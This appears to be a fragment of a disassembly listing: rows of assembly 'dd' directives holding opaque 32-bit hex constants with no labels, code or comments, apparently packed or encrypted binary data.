		dd 6B6F2A23h, 0C0880798h, 27F5C6B2h, 96EDB152h,	8083FD51h
		dd 0B2B8AA21h, 70761D31h, 2CE50077h, 0AEDF6BBAh, 8C301472h
		dd 29ED5882h, 0F27CA08Eh, 7D1B281Ch, 0D9FD0CACh, 27F98175h
		dd 8751A914h, 0A0243C14h, 1858A06Eh, 0D6A044FCh, 60B320h
		dd 638FCFF2h, 0DC920FAEh, 0BACB1D03h, 0FD93704h, 0E4C07150h
		dd 0E0046549h, 15C660A4h, 0C3882330h, 0A1007B11h, 0F38C15BEh
		dd 91F02F4h, 0F1CC6ABDh, 4C76210Ch, 0FD814CF2h,	249B75E1h
		dd 7E3FAA54h, 1857BE13h, 68B904F1h, 289CA871h, 0F80F0BF6h
		dd 1D805FDDh, 7E95EFC3h, 33F3D61Fh, 0E76CCC68h,	401558D8h
		dd 6A00CE9Dh, 0D1D61290h, 126B3329h, 813D3CAh, 1C837B6Ch
		dd 0D0BBCF41h, 0DE788Dh, 53777DDFh, 0F325B4DBh,	0E5FF0C00h
		dd 653CD7EBh, 8D60C4BBh, 0F5DD0097h, 159069A9h,	0D074CBE9h
		dd 3BCF129h, 0D9781FC7h, 0ECB8C59Bh, 0DCAB9891h, 0F27D3807h
		dd 17F9BA5Dh, 855A91FCh, 7380FFF8h, 7EEE3Bh, 42E8C8BBh
		dd 0E014F5EDh, 5D394512h, 68B7C804h, 8BC0E200h,	0EA3DC8FDh
		dd 0BCFB8031h, 6BE01E5Dh, 0DC194866h, 0C6EC9B87h, 0EF00A891h
		dd 1348A03Fh, 549DB8BDh, 1CC3E47Ah, 0DD23886Eh,	3129C01Dh
		dd 0FC0805D4h, 3D005B7Ch, 2FC08EBBh, 3D56EDD9h,	40128051h
		dd 0B9280822h, 1B15BFC0h, 22CB4688h, 0B74E1F83h, 0B14F0015h
		dd 94120ABAh, 74649324h, 2B5C4308h, 2F24DCh, 0C9377B32h
		dd 0AF0AB4EBh, 9C661A4Bh, 61D1B4A1h, 6A067418h,	37D67227h
		dd 0F4601F19h, 840826E4h, 0C09D85FFh, 0BC1476F8h, 55189362h
		dd 51304872h, 0C7C90FCAh, 7FE004EAh, 0C29E09F7h, 0A82D9D00h
		dd 0F1E4614Eh, 0D8C0D87Dh, 0FD806A5Fh, 766924A6h, 13C18080h
		dd 0B49402ECh, 429BC601h, 903DF2A7h, 90684434h,	0CEA0C5Ch
		dd 6240564Bh, 1498012Eh, 1F20863Dh, 9907197h, 9665F1F3h
		dd 0C5ECD8A0h, 0A4A0B9B5h, 0C04CC3A2h, 7F41081Ch, 79E40199h
		dd 4E20BA15h, 0CB661120h, 0BAFC0892h, 0C62A1AC0h, 8318E9F3h
		dd 229588h, 0EFC0132Ah,	0A0B91C75h, 0F007749h, 80AA8B2Eh
		dd 6A1B1A47h, 0CF9300C0h, 6EA9B0B7h, 5A513E66h,	0EF95F094h
		dd 0C4642128h, 37302490h, 0F71CF8CBh, 0A1D53EB8h, 0BB230048h
		dd 0CD2BC207h, 1994DC02h, 0BA32105Eh, 98B1382Bh, 0EAC23481h
		dd 408C5C15h, 8901AB8h,	0F7F57F03h, 23979F01h, 0D807BD61h
		dd 4C05C32Bh, 2800B4CEh
		dd 95DF2BB0h, 0FF1A908Eh, 0C04871A5h, 807B04ECh, 0F380C814h
		dd 0A0F97827h, 8271E810h, 0F5679421h, 227BFD1Fh, 8E481644h
		dd 30185022h, 0D908B2C3h, 6451BEF5h, 0BBAD4085h, 9348FB2h
		dd 8793AF3Dh, 0B0865032h, 5F0BE840h, 0A0916DFFh, 4656209Ch
		dd 162C1E13h, 0C511807Dh, 21A6C636h, 0EEBF2D00h, 5C4BF2BDh
		dd 0CB990063h, 0C3939FF7h, 267D5FBEh, 0DA81AA00h, 7B537584h
		dd 9FCB00BBh, 27D82DA8h, 0A10F8BA6h, 27DD3597h,	2B806C1Ch
		dd 38E13EE0h, 9900AAD0h, 93FEE532h, 1E0060D7h, 84EF7706h
		dd 0E24D9CF1h, 0C2AB00B2h, 811F2A8Ah, 56E0D08Ch, 0E3EBD100h
		dd 0BCB353A8h, 784E0047h, 526A2433h, 3C004866h,	0A0F9995Ah
		dd 509CD4h, 0B3FBE33Ah,	0EF5B0F4Ch, 9198800h, 39DCA0EDh
		dd 3980E65h, 0B6001B73h, 1CFFD572h, 0F7C1E003h,	0A05AD6FCh
		dd 838E53h, 0E158A024h,	0E4EA2A5Bh, 303F333Ah, 4CA62177h
		dd 86AF1F9Fh, 0D59BC0B3h, 6BB10978h, 638EF4E3h,	6A3F6890h
		dd 2660E7C5h, 961EB960h, 431F00FDh, 90F9F764h, 8B7E3921h
		dd 28D4D933h, 2C611B63h, 0B0C008FDh, 0D1005BBEh, 10FF30EAh
		dd 1172706h, 36BA0865h,	0F0492C93h, 50618EF0h, 0F87F7E18h
		dd 3D1FAF0h, 0BAC4646Dh, 28008906h, 5AC82473h, 7F9EB08h
		dd 0B423FA03h, 0D614101Bh, 0D700EF92h, 0FF753C96h, 1AC749Ah
		dd 0FB27F62Fh, 0CCD81C5Eh, 170F7CE0h, 516CC4Dh,	87EE2E04h
		dd 3A730E4h, 0C87DE5D4h, 0CE480200h, 292A7257h,	9F3D0055h
		dd 379410C6h, 240EFC1Ch, 0CE850DBEh, 2907C097h,	3F8C74F4h
		dd 0FB006496h, 1BEC6AC2h, 0DE0CF356h, 1AA93AF0h, 5B9A1D33h
		dd 4F4AC0E4h, 0AF1B3263h, 45ADBA00h, 920ABC2Dh,	0B5FE49h
		dd 1D8DE805h, 6BCED3BBh, 0DED89700h, 0FFBDEC7Ch, 0D2F90157h
		dd 0DFE9BB8h, 7725C4F8h, 28BC884Bh, 0C1D8F0Fh, 84AE16E1h
		dd 80B9ED92h, 9FDA5D30h, 0F4A87D6h, 58B27C9Ch, 0EDE8009Dh
		dd 0FA1127F1h, 0C2231D09h, 0C0AA07EFh, 2FEB1410h, 0CB830010h
		dd 0D294A0A4h, 0D13A19DFh, 7D748045h, 98EC528Eh, 71C3009Dh
		dd 5F4A4303h, 0C5004523h, 0FF773684h, 74696C6Eh, 0F0F60008h
		dd 0A30E80A0h, 71E8960Dh, 0D288B161h, 0FEEDE253h, 0D08CA09Fh
		dd 38C700B8h, 9135711Ah, 730007Ch, 0DDAFE6C8h, 0BE005815h
		dd 0FE759ADBh, 70B53F43h, 1DE03E4Bh, 0D546E800h, 54C5326Ah
		dd 0A1007190h, 5C509842h, 197CA3Dh, 3704B405h, 0D7FCDC6Dh
		dd 20DE24A3h, 80C2703Ah, 1C87C415h, 863C9Dh, 985D5914h
		dd 0CD44FE19h, 0C3B9571Fh, 0EB690E80h, 0A18139h, 952B1C82h
		dd 0EC6C7241h, 0F0C97600h, 8B21BA43h, 607C244Ch, 89D41899h
		dd 0B005515Dh, 7F8CE1BDh, 4A91F180h, 0BE690070h, 0BB0D11E6h
		dd 78C04268h, 0BD3ED150h, 3DBFA54h, 0B088F6D8h,	99002583h
		dd 4E80AAACh, 375E2F94h, 719323Ch, 506B863Fh, 580B7C03h
		dd 9B4F43h, 2C953081h, 5AB26073h, 543C69CAh, 0F1BE7D00h
		dd 50CB6507h, 6A4469h, 0CE7328EFh, 0B0DCD615h, 5930FFFEh
		dd 785C21A4h, 0C47D001Eh, 0A5327545h, 1569B5Bh,	0DFD626C0h
		dd 4A4B405h, 2336C032h,	0C0ACCE9Ch, 0B45B2EB7h,	0B10098A6h
		dd 0B8A4A5A3h, 1C269D8h, 166C2DE7h, 0FF435091h,	2803519Bh
		dd 0D53D5306h, 78391C64h, 0E67F800Dh, 1E318DFCh, 9508E466h
		dd 81CF4C21h, 973ACE00h, 0E22DCA38h, 6C484418h,	0E9538321h
		dd 4338B450h, 0B4850022h, 663B348Ch, 9B1F1797h,	530676E1h
		dd 30C93AC1h, 64191D4h,	84001A43h, 66C76579h, 0B83E56E9h
		dd 29F10378h, 440ECB7Dh, 657405C5h, 0CCBC0021h,	34B23980h
		dd 0B041692Ah, 0D5115201h, 7062F47Fh, 0A1BA17F8h, 0B44E69A0h
		dd 9FC03888h, 0E06BB7Ah, 0CFB19EC5h, 0D1603242h, 0D4F40844h
		dd 80994C6Eh, 6533023Ch, 24417FB8h, 50D8956h, 52E90Fh
		dd 7659D6C4h, 98805783h, 2140030h, 1128C9D0h, 2D64D1BBh
		dd 50902B08h, 3022CFBh,	0F43566F6h, 193A3B86h, 689F004Ch
		dd 0CC8FD21Eh, 3A453CCDh, 5D17320Eh, 0A13758FFh, 24070E7Ch
		dd 9C59C203h, 6F7ADA51h, 218F6CE5h, 5263761Bh, 0F380C1D4h
		dd 93017F10h, 0E67C4E89h, 10309DF8h, 0D5048C0Eh, 0ACB41297h
		dd 831D508Eh, 0C0240C9h, 5E3C77A4h, 0F1D2D972h,	0BB7CF700h
		dd 30F6F353h, 8A194A86h, 6D00627Ah, 57AEFF0Ah, 7E70C0B3h
		dd 7DF331A3h, 0F14DDE0h, 0DEC77088h, 0BDB75B13h, 58ED3780h
		dd 736502C1h, 8DB544F0h, 4E446444h, 0C18E0039h,	0EAC03E52h
		dd 7A006F4Ch, 6593CE3Fh, 0AC8AC9Fh, 150F5FF2h, 0A86994C8h
		dd 0B318BD80h, 0B5C61D1h, 0BEDB01EDh, 411190D9h, 183958E0h
		dd 6947866Ah, 500365Ah,	51358B68h, 0B89ED0h, 5E27532Bh
		dd 81FBE69Dh, 0A539CCF4h, 0E280D349h, 9EC33046h, 582810FAh
		dd 0EF03C13Fh, 0D165C4F5h, 0A1291535h, 4726F046h, 68B1E06h
		dd 209EBF49h, 15445CA7h, 0A1553460h, 0BF594760h, 0E873844Ch
		dd 49BEF336h, 0C929223Ah, 246A0068h, 6F79C2FFh,	0F7524486h
		dd 4B00727Bh, 0E1C7D2Ah, 4C61C065h, 0D4107090h,	0C72B8850h
		dd 0E6652103h, 888118ECh, 7816EBDDh, 15AEC098h,	7046405h
		dd 80FCC8C5h, 0E2BF96FDh, 0BE9D3003h, 185DE35Eh, 994469C1h
		dd 9303FA04h, 0B39DB658h, 3B088E0h, 308B1238h, 0EC7803B7h
		dd 31CED765h, 4DAE4303h, 3CDA2F1h, 65E1C571h, 110B35A1h
		dd 8012437Ah, 546B5B76h, 5301147Dh, 0E68E6C2Ah,	0D4686A4Eh
		dd 3C0EDE70h, 0FB07D578h, 77F6C439h, 0F1D063ECh, 0A3600DC0h
		dd 0BD6A8301h, 77C96CFh, 300CF442h, 0C9F60212h,	3837F846h
		dd 22AA021h, 7AE2EB12h,	4369A918h, 2F89E1h, 0FA6D51D2h
		dd 5816173Ch, 0AB14670Fh, 41688C03h, 5E130950h,	1C213FE5h
		dd 6220C353h, 3E872210h, 86832ECBh, 92F71B80h, 0DA985BB3h
		dd 0DE06D134h, 6CA46596h, 30A15851h, 48759F82h,	0D30B5E40h
		dd 54C2CD16h, 0C85D4204h, 3F653898h, 71A3F824h,	1C1E4511h
		dd 0F8A2C20Dh, 554008E6h, 0DF021FFBh, 53051D80h, 0F9C8B129h
		dd 1C27E1CAh, 8896C858h, 780001DBh, 4AB655EEh, 58CF70D5h
		dd 0EB234CABh, 1397D003h, 25628CB4h, 0AEC88623h, 0AB170622h
		dd 618ED5E4h, 96096B00h, 7C382AC9h, 54660097h, 0FBA350Eh
		dd 0DCE0CE9Fh, 0A8F4B603h, 96D4631Ah, 0DBC30039h, 0AA817766h
		dd 0B090FFF9h, 2F1B461Ch, 5BAC7Ch, 920465Eh, 908625A8h
		dd 0E86FA8h, 852FADCFh,	0B1DDAB3h, 0F1D70E1Ch, 0C1481B0Eh
		dd 46C1D959h, 4688D04Eh, 38E01AC0h, 3C451481h, 0DA26A7E1h
		dd 6ED70DF1h, 0D072F029h, 84396C1Eh, 2C641426h,	7297F863h
		dd 8A31E4E6h, 7880D813h, 84000B38h, 74C0F1B3h, 3096602Eh
		dd 5F695E69h, 750797F4h, 0CFBB9CB4h, 59AC7C10h,	8863F243h
		dd 0DA00D2B8h, 2E5F2CF0h, 52DDBE6Bh, 0BC5BCC1Eh, 589B09B5h
		dd 91F89D75h, 715F8347h, 0BA8E8864h, 62AC0040h,	352642A8h
		dd 0DE1F9BA7h, 106543AFh, 0EBB55374h, 69C08C52h, 11180D04h
		dd 0C9CF021Dh, 4C1163h,	0C2022910h, 3CA2C09Dh, 0CFDE5D3h
		dd 5EA15939h, 0DC001859h, 0EAB11220h, 0FFEBD8Dh, 3D94B752h
		dd 839123Dh, 0FCC00734h, 46B42F97h, 7C3922D4h, 1B2EA82h
		dd 9E643353h, 0E84811D3h, 94B9D75Fh, 0EFE0F000h, 1F82CFB2h
		dd 2435CA63h, 3A481224h, 702334h, 8BFCA5ABh, 2509F7B8h
		dd 371459A1h, 8801B890h, 3577CD36h, 0DE5850E4h,	404F167h
		dd 0A5607C7Bh, 2E436088h
		dd 445488DCh, 55C9474Fh, 84AED7D0h, 5A474E9h, 533330A9h
		dd 7D9420B8h, 0A4C611Bh, 1DCCC014h, 0F27EB5h, 2ABC0BEBh
		dd 97553F13h, 514EC100h, 0BA3A03A5h, 0C2532858h, 3373006Ch
		dd 0F55E39E6h, 4930434Bh, 0FACB519Eh, 94D4303Ah, 8FF07911h
		dd 0D7764004h, 138758D8h, 2AF94D50h, 0A3F30046h, 55DD71F7h
		dd 960C4379h, 0E9806819h, 322B1B82h, 70E9A2D9h,	0A0DA30DAh
		dd 80D30D3Bh, 78B8EE1Fh, 21F67Ch, 64352C1Ah, 0F584D1CEh
		dd 571B9D00h, 0B48B606Bh, 2E6CB073h, 60B8659Eh,	0D7AA66E6h
		dd 0C4012101h, 0BC03B7FEh, 787756CCh, 61D93C79h, 9CD1B180h
		dd 0B53B838h, 0D2360206h, 7B1806E0h, 10CFF0A9h,	3C64AD86h
		dd 0A50101F5h, 5EC7F36Bh, 0A06997CCh, 0EFC6C68h, 6B0D210Eh
		dd 6798FA0h, 3A716949h,	3B096700h, 435FC00Ch, 51A8A4B7h
		dd 59E18CE1h, 8B651184h, 3F0C80A9h, 0E54A3584h,	8A7A840h
		dd 7AD1BD7Dh, 9FB100CFh, 256A82CBh, 5B02DC3Ah, 0A0A11456h
		dd 754E468h, 0AE69FD1Eh, 11DD53EFh, 340F288Eh, 0A8A37445h
		dd 0D9FA8735h, 6ACF40A5h, 8500AD21h, 65863F3h, 7A1E57h
		dd 991F8120h, 4736E4D5h, 72FCD900h, 603C0925h, 839096A4h
		dd 0A565AE1Dh, 2E02B178h, 0C153D3C4h, 0BA2C4843h, 0EB990129h
		dd 0DC4DBF76h, 44F0C4E5h, 7889BB24h, 24404A44h,	2614F4A5h
		dd 37123201h, 36AED2C5h, 0DC0720h, 65B31A49h, 9F43F178h
		dd 13221125h, 0AB51B040h, 21C28D6h, 0CFFB2EECh,	0E2003CCCh
		dd 13FEDAE9h, 7B48C2E3h, 8A6DC018h, 3A024314h, 583A83Ah
		dd 3E039EDDh, 0CF9092DFh, 61CC6BE0h, 0A940A094h, 27C9F8Ah
		dd 0DCA48822h, 4440C606h, 0A638DF7Dh, 3EBD850Fh, 908C7C4Bh
		dd 0DDE30070h, 0A57E4C13h, 76001A5Fh, 78406C95h, 9F16051h
		dd 8FED5E6Dh, 99600C14h, 7F0F4680h, 39B20A83h, 8B0D293h
		dd 0D5169737h, 31353C20h, 157868h, 80DC652Ah, 0B11BC1C4h
		dd 9D719A14h, 0FA0B04CCh, 48D1CF60h, 802AB450h,	0ADEBAA91h
		dd 0BA1D39FCh, 7C000E21h, 0AE44F1D5h, 50F04C2Ah, 0C2AF4900h
		dd 0B4C4BC11h, 0C004774h, 42F9B3EEh, 1F3191B2h,	0C076B9DBh
		dd 86936825h, 113EBEC9h, 91D70037h, 10B91784h, 12F600EBh
		dd 0FF7D8EABh, 100F70Fh, 590767A3h, 0F650415Bh,	56620EFBh
		dd 57A7A11Eh, 69E3CF8Bh, 6900B3E2h, 1AB6EE80h, 574BD1h
		dd 55F06E75h, 0BC10BE5Dh, 9218EA79h, 0EE700586h, 47541D59h
		dd 95664772h, 6D0D708Ah, 3C63D840h, 0D8B1D751h,	6F92B57Bh
		dd 7A80B1ABh, 55F9B059h, 4770E850h, 7148C600h, 93B6FCA0h
		dd 0DC7D3092h, 786D831h, 0EBDEB100h, 5BA9B311h,	81F8BF09h
		dd 0B9D4F91Ch, 445A28B1h, 1E5CDBC4h, 14B15CFh, 0E3F70A34h
		dd 0BF3440D9h, 7806944Fh, 0D544FE24h, 0CF3D0019h, 99FF5A6Eh
		dd 0BC07D6E5h, 0D57E8A9Bh, 74807D4Bh, 0C0624EEDh, 64B69228h
		dd 0CC20AC80h, 7BBF603Fh, 83606D74h, 5B491F9h, 0D503157Ch
		dd 3063E0C3h, 3AF88C21h, 0D20C4EACh, 18E95ABEh,	5CFE1908h
		dd 0C11C91EEh, 0FA489E30h, 28F0CA00h, 0F698AEh,	0B13ADEAh
		dd 0BF3AC0D1h, 1CB7E300h, 87C86CEDh, 3901691Dh,	1B8FCC81h
		dd 49BDF029h, 43233400h, 6991DD90h, 2A5E030Eh, 7F5C6259h
		dd 924E038h, 8049ABAFh,	8FC4E3CEh, 9D4503F0h, 0E932D80Ch
		dd 2D185918h, 1FCACE1h,	3F569648h, 70D09236h, 520076F6h
		dd 18B108CBh, 2A1109FCh, 7B68EDE8h, 2B5E09C3h, 80DF6FC4h
		dd 6E48781Bh, 589E00E1h, 7264EB4Fh, 0A4A88A1Ch,	0FE0B7467h
		dd 52C93Eh, 0DA8C9B50h,	0E71004BDh, 8039999Ch, 0ED778228h
		dd 0C68B7B0Fh, 18B3E3DFh, 0CAA9072Bh, 60CBD064h, 0EB5ABF7Ah
		dd 53ED818h, 91B79291h,	0E900BE20h, 9C8C01Ch, 0C19FE3B4h
		dd 942162C4h, 0AB2A3840h, 50D005B7h, 404A8455h,	53C91954h
		dd 3D3F2D4Dh, 61150070h, 21ED7669h, 0A9A505F9h,	47E5E26Ch
		dd 51573CF0h, 0F4875BFDh, 0D77ABA6Ah, 0DF6DF400h, 2D3FB175h
		dd 1E0C9050h, 1FFDB423h, 80C85DAAh, 7BC0CB10h, 8C90F06Dh
		dd 30F92712h, 0D3876427h, 0A7AEE7DFh, 0B02E28C0h, 55592695h
		dd 1F4A0641h, 873DF9FCh, 0FB75BA3Dh, 0A02E5A04h, 0F480748Bh
		dd 12531BEFh, 47D57993h, 0CFEAFE74h, 5C2EFAC1h,	9C57C03Ah
		dd 1F08650Ah, 7F808093h, 5A9062Ch, 0E87B0Ch, 56A3EB3Fh
		dd 0AABEEA25h, 0E98E921Dh, 0CCF2784Ah, 493AA8A0h, 66116018h
		dd 1ED96701h, 8773101Eh, 66BF50B8h, 0CD192134h,	2DE9BEE2h
		dd 3DC6CAC4h, 2C006A32h, 1909D4F3h, 4E3FBB2Eh, 56A9808Ah
		dd 0C799165Ah, 7C40EBD8h, 0AC7D53h, 0ECB7AAE3h,	9FC95F56h
		dd 21F61C30h, 1BA9406h,	2DA1B061h, 0CFFE270Bh, 242CB822h
		dd 80189F1Ch, 983CE525h, 0C100A553h, 0B137431Ah, 18B324Fh
		dd 0D770A38Fh, 2074AC50h, 7B28C33Ch, 0D902441Dh, 320972BDh
		dd 0A7906066h, 6ED80357h, 0FBE2CFD0h, 7F1FE900h, 29DAADB7h
		dd 867A034Fh, 876A1E36h, 10EDACB0h, 62DBC200h, 0F065AB20h
		dd 0C93B8B9h, 550FBF9Ch, 12774BB1h, 284A3004h, 0C802A88h
		dd 541CC044h, 34F0C4h, 5F9B95E3h, 0B68864B4h, 907D3E26h
		dd 0AA00D711h, 0C95D8EC2h, 85494392h, 0A2D0414h, 0A0881CB3h
		dd 0BF011D02h, 1F8DD367h, 928C7D9Ch, 6949C370h,	0DA1A5501h
		dd 6FF8ED30h, 16427020h, 1227444Ah, 0BF86010h, 0B091EE81h
		dd 7577187h, 0A738F371h, 0D8F1A840h, 218F6055h,	6374BBC0h
		dd 39F9D913h, 3454F820h, 777312E5h, 270800B2h, 1C7BC59Dh
		dd 21DFE44h, 0C8B849E0h, 0EAE0515Dh, 0E7007A70h, 593A764Fh
		dd 0C05A6225h, 0B574E470h, 1A00B40Ch, 0A19E5457h, 503346BEh
		dd 8837B875h, 1F28F17Fh, 8F0230FFh, 36599AB6h, 7800C0F3h
		dd 0E23D0063h, 1137E353h, 0FD004438h, 9818B7A7h, 295E467Bh
		dd 80E076BFh, 0B0F05914h, 1930C5F7h, 28B31927h,	18D307A9h
		dd 0C0088CB4h, 4D66642Dh, 6C4C4173h, 0F7591910h, 88321989h
		dd 0AA8B0C00h, 8F73A588h, 1B58CC90h, 80444C50h,	0E578783h
		dd 80B89104h, 0C1B6D407h, 4A07863Eh, 948A36E7h,	63B0D977h
		dd 13683A5Ah, 0F11823h,	0C1137DD0h, 0FE144456h,	5E854C2h
		dd 1C7ACCCEh, 835088h, 1D3A3ED5h, 9E769569h, 783F183Fh
		dd 0E18C7F02h, 48CB1FB1h, 161008h, 0B842F34Dh, 8BF7566Fh
		dd 460F1A1Ch, 0C45D1F16h, 473540Bh, 1C49F0C0h, 0A1C13C10h
		dd 96F11B00h, 59179FB1h, 51F33A6Fh, 78AF6D0Fh, 995F8B00h
		dd 9E262758h, 6F98AC67h, 0C22A7A18h, 0E3503E10h, 0EC538890h
		dd 1F005DFAh, 765B3D51h, 32B7F370h, 6E40D11Bh, 0F05928E1h
		dd 7A00EE7Dh, 0A746876Ch, 37947EDh, 6102EC75h, 5100BFE3h
		dd 40722489h, 4C044AD4h, 887C7C7Eh, 0A705746Fh,	41D8C0A8h
		dd 8B4ACCCh, 0F83254F7h, 8CF1C680h, 24766157h, 0FACC960h
		dd 5A20A6FEh, 46133812h, 1C08DF0Ah, 38BB8CD6h, 7FBF801Bh
		dd 2C7CE0BDh, 63731DCAh, 1624077h, 64B9CE79h, 0C18CD304h
		dd 0EC90918Dh, 0B1925815h, 9F449C10h, 0A9D106B1h, 140070C2h
		dd 87DCC64h, 88C17F92h,	0C1C0BCE2h, 0E573601Fh,	77C40702h
		dd 0A9BEDA59h, 9422490h, 4CFE9D2Eh, 0C519A81Fh,	5CD40241h
		dd 0EDF90F0Dh, 0EC00070Fh, 7ADC7172h, 0C1BAF500h, 0C88EAB4Ah
		dd 9E530281h, 5451DA2Eh, 0F53080C1h, 0E2742021h, 7B5204B8h
		dd 57FE0CB0h, 0CB999E9h, 0A72DD110h, 53EE0A08h,	2C8A3C1Eh
		dd 3848BB58h, 549B09ABh
		dd 0C02D543h, 0ECC66639h, 799DE001h, 9CD68A6Ah,	327AFCh
		dd 45845969h, 0B44A5DE5h, 5B7B6E01h, 0A9F2B73Eh, 15455ECh
		dd 52BF10B5h, 2036FEBBh, 65720668h, 0A98B1C30h,	5D4E70h
		dd 7BCC4926h, 0A7AFB176h, 0B0089224h, 68226817h, 0B0084418h
		dd 1AF7989h, 3E9B978Eh,	0D4AE6687h, 8206EAB7h, 0C2E26E6Fh
		dd 4EE8B9h, 0EF64FC8Bh,	42D48C1Ah, 0A6172C00h, 0AE1DA372h
		dd 3DEC0E14h, 61581820h, 37460E1h, 8D816E00h, 2A8FF287h
		dd 0B3E3173Eh, 442C05D7h, 0FD4C8002h, 0F92E3B5Ah, 2C44545Ch
		dd 21D6F082h, 70DF2D0Bh, 0C8008CF5h, 9546EA38h,	288630F2h
		dd 198857E6h, 31CC1F29h, 6864D04Ah, 80E2DAE0h, 4458C007h
		dd 40C060A4h, 43A7B0h, 0E41AB7A3h, 0A5986DAAh, 0F9287498h
		dd 0E913808Ch, 5000B6E3h, 0F8BE622Fh, 65961D43h, 18848CE5h
		dd 3948FEE1h, 901C89F8h, 5E22A4h, 7FBA2912h, 5FC6C3E7h
		dd 0F103141Fh, 7420CABBh, 39B77Bh, 877D653Fh, 5828BFA3h
		dd 95FCE502h, 801CEFF7h, 73924790h, 0D8D9C5D7h,	0A3F82430h
		dd 0CB3C5098h, 5ACCF613h, 0E73909h, 26F3F454h, 2490B0h
		dd 7181A1BBh, 9BE61755h, 18F7B613h, 0AFF3A020h,	4FE90029h
		dd 1B1917F5h, 4900C7F8h, 140BB916h, 92A70C44h, 2F2C1D94h
		dd 13D0017Eh, 8090C45Eh, 77EB1F19h, 181660B4h, 0E9041D7Ah
		dd 1000E6B8h, 0AFBE41DFh, 2FA7497h, 4B13B2CEh, 411444h
		dd 287CF801h, 5A02D1DFh, 0A0D35447h, 0F70D4AECh, 484CB8C7h
		dd 38C03011h, 48657F53h, 6F75F67Fh, 0BC1D5401h,	83E0B6E5h
		dd 7C244880h, 1EEF1109h, 0B4A8890Bh, 1B901018h,	0BD2B0139h
		dd 0E1144F94h, 1F28D0C4h, 0E7FF3403h, 0FCE24BE5h, 0FC28A4h
		dd 9DA883FAh, 9B890DF8h, 0C0C4575Ch, 3D8849ADh,	0A8A90FF7h
		dd 0CA406558h, 4F7AAA81h, 8BB30B04h, 6C804ADFh,	9A7084h
		dd 0BE8A57A1h, 8CD24748h, 1CBA84B8h, 0CB547B0Ah, 4087400Ch
		dd 0F2704E11h, 20979B55h, 0C244F0D0h, 0E44A0034h, 49465DACh
		dd 5B3FD43Fh, 67D3AE2Ch, 0A18CB702h, 233CC1D1h,	43FC6C61h
		dd 227498BBh, 20EF3785h, 0E1016270h, 0F9034811h, 6EFC5480h
		dd 0ACD40128h, 76BE68B3h, 1240BEF4h, 34020465h,	0C07E6CC7h
		dd 4C15ECECh, 62809C19h, 0F3E35C37h, 114A870Fh,	468E801Eh
		dd 0F39AA604h, 0C3EB870h, 0E7E2087Eh, 0F5F0A2C9h, 1E61703Dh
		dd 0B007F9Ch, 98EA40B0h, 0D4824985h, 0B18FCD09h, 182CD002h
		dd 8CCB3880h, 6100B5A4h, 87B0EC28h, 627DBF5Ch, 42FE21F9h
		dd 893C3064h, 0AC5A270Eh, 1BCF86Ch, 653B445Bh, 9F9BA7CDh
		dd 0D3008E08h, 0F9F429FFh, 40489E43h, 9F2BBC10h, 4640249Ch
		dd 506D5F7Fh, 0B242B4A1h, 8430408h, 90F81C61h, 73DD0D88h
		dd 0FED84402h, 40A4F216h, 96A7496Ch, 0D9A74E1Ch, 0DBAE4708h
		dd 8B58A381h, 5DEAE40Eh, 0B7DE201h, 0E3439B4Eh,	639C48h
		dd 6EC61AC3h, 0ED9A7B73h, 0D10064EEh, 0E32B914Bh, 1563B54h
		dd 68E12E74h, 0D65ABF71h, 65F3C080h, 471EE9ABh,	0FB0B78AAh
		dd 448C901Fh, 0B397107h, 8521D040h, 0B7286800h,	0ACE6D3FDh
		dd 205BB80Ah, 0A4608CFEh, 26018692h, 7B0C08Eh, 5E965944h
		dd 881C0C45h, 0A30FB0F4h, 60062F72h, 5F777EE8h,	95521E75h
		dd 0C95782h, 1160048Ch,	0D4059B57h, 0BC4DB489h,	560344A2h
		dd 0E8199C63h, 256FDD80h, 0F3806A0Ch, 98D280B4h, 0F79E001Fh
		dd 1156872Fh, 194C5E21h, 0E8E28078h, 7D21EEEh, 74C77BC3h
		dd 0A9FBB3D3h, 717223F1h, 82C618Ch, 0C75C62C8h,	5A1A07D2h
		dd 85F09383h, 34A70Eh, 93DD31Fh, 59388160h, 0C6986218h
		dd 1B34C08h, 0CA76B7E7h, 220FBF8Ah, 0BC692454h,	840408A0h
		dd 1C153279h, 58F4C8h, 76C69A2h, 2843EB6Fh, 0A6CDFE01h
		dd 0FF182D44h, 0DC7A398Fh, 1BDF3E7h, 40588A5Ch,	0EC6541D0h
		dd 0B000B74Bh, 0C71E49B9h, 0F8B172B4h, 0F9BB1A51h, 0C880692Fh
		dd 1CE17AB0h, 0E834896h, 0A89A9056h, 86D05Ch, 1213D954h
		dd 2D53207h, 4E92F400h,	51F5CA55h, 20764CBFh, 0C1328684h
		dd 0DCF0975Ch, 0CA601FA7h, 0B1BB2969h, 0D00E00D3h, 72D6D41Bh
		dd 5B009022h, 6A76025Fh, 62855h, 56C303F4h, 510D8914h
		dd 39F0CBF5h, 40045585h, 0B63B8783h, 20DA7CC2h,	9375FC44h
		dd 51CBB21Fh, 9C1AB4C0h, 0E210FF42h, 0FA5EF09Bh, 2D0D2E5Bh
		dd 50683714h, 1C085ABDh, 0F4F0B055h, 0D0235C2h,	0FE78973Eh
		dd 0FA34445Bh, 0AC6450D2h, 0BD1F30CFh, 69C9A2D1h, 0A7ED5F00h
		dd 5776514h, 101C50BFh,	6A1A003Ah, 9CC07976h, 3C025B23h
		dd 414589ABh, 6FF8E0A9h, 0D8A40AD2h, 9DBCF932h,	915A5BBFh
		dd 0EC768CC0h, 113CD82Dh, 0F3097344h, 18C229D6h, 7A1F0C8Eh
		dd 74540050h, 2103CDC9h, 0E702FB02h, 18A4F9C4h,	88552031h
		dd 0C200370Ah, 6EA763B5h, 2677B47Bh, 12F07ACBh,	0A7600C6h
		dd 62E74B34h, 63691104h, 508918FFh, 0D3F1D8h, 5EA50B30h
		dd 821F05D4h, 0E70DEE01h, 8F9DB247h, 0C0AC420h,	0A6E948B9h
		dd 1CB0EC58h, 6C67272Ch, 9563A16Fh, 3DD43A65h, 0B5A90636h
		dd 0C6D6286Ch, 8D557F24h, 8ACE111Fh, 39EAECFEh,	3C214C5Ah
		dd 5705B222h, 0B460542Eh, 0F8BC10CCh, 74090E98h, 2E408A64h
		dd 0A0E306A6h, 0E0D41217h, 0B045B001h, 0A4287B6Ch, 80770580h
		dd 400482EEh, 54088FD2h, 3200C4B2h, 0A2E983A4h,	3C6002C5h
		dd 8EE7F6E0h, 781C48B1h, 0C5281180h, 5036AC0h, 0E63FDB76h
		dd 6ECDD802h, 5C8C0470h, 0B4B69282h, 0B5257B90h, 6DBC92B0h
		dd 8E893DE0h, 0AC647A92h, 26180218h, 0E1BF1h, 53B2BE8Fh
